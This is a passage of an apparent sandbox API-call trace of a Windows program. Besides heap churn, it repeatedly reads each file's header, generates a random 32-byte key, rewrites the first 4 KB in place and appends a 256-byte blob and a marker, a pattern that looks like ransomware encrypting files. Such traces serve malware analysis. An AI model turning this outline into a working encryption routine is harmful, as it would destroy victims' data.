[0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.723] GetProcessHeap () returned 0x540000 [0079.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.724] GetProcessHeap () returned 0x540000 [0079.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.724] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.724] WriteFile (in: hFile=0x79c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.725] WriteFile (in: hFile=0x79c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.725] GetProcessHeap () returned 0x540000 [0079.725] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.725] GetProcessHeap () returned 0x540000 [0079.725] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.725] GetProcessHeap () returned 0x540000 [0079.725] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.725] CloseHandle (hObject=0x79c) returned 1 [0079.727] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 18 [0079.729] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.729] ReadFile (in: hFile=0x798, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.729] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.729] GetProcessHeap () returned 0x540000 [0079.729] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.729] GetProcessHeap () returned 0x540000 [0079.729] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.729] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.729] GetProcessHeap () returned 0x540000 [0079.729] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.729] ReadFile (in: hFile=0x798, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.778] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.778] WriteFile (in: hFile=0x798, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.779] GetProcessHeap () returned 0x540000 [0079.779] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.780] GetProcessHeap () returned 0x540000 [0079.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.780] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.781] GetProcessHeap () returned 0x540000 [0079.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.782] GetProcessHeap () returned 0x540000 [0079.782] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.783] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.783] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.783] WriteFile (in: hFile=0x798, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.783] WriteFile (in: hFile=0x798, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.783] GetProcessHeap () returned 0x540000 [0079.784] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.784] GetProcessHeap () returned 0x540000 [0079.784] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.784] GetProcessHeap () returned 0x540000 [0079.784] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.784] CloseHandle (hObject=0x798) returned 1 [0079.785] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 19 [0079.785] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.785] ReadFile (in: hFile=0x78c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.786] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.786] GetProcessHeap () returned 0x540000 [0079.786] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.786] GetProcessHeap () returned 0x540000 [0079.786] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.786] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.786] GetProcessHeap () returned 0x540000 [0079.786] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.786] ReadFile (in: hFile=0x78c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.843] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.843] WriteFile (in: hFile=0x78c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.843] GetProcessHeap () returned 0x540000 [0079.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.843] GetProcessHeap () returned 0x540000 [0079.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.843] GetProcessHeap () returned 0x540000 [0079.843] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.843] GetProcessHeap () returned 0x540000 [0079.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.843] GetProcessHeap () returned 0x540000 [0079.843] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.843] GetProcessHeap () returned 0x540000 [0079.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.843] GetProcessHeap () returned 0x540000 [0079.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.844] GetProcessHeap () returned 0x540000 [0079.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.844] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.845] GetProcessHeap () returned 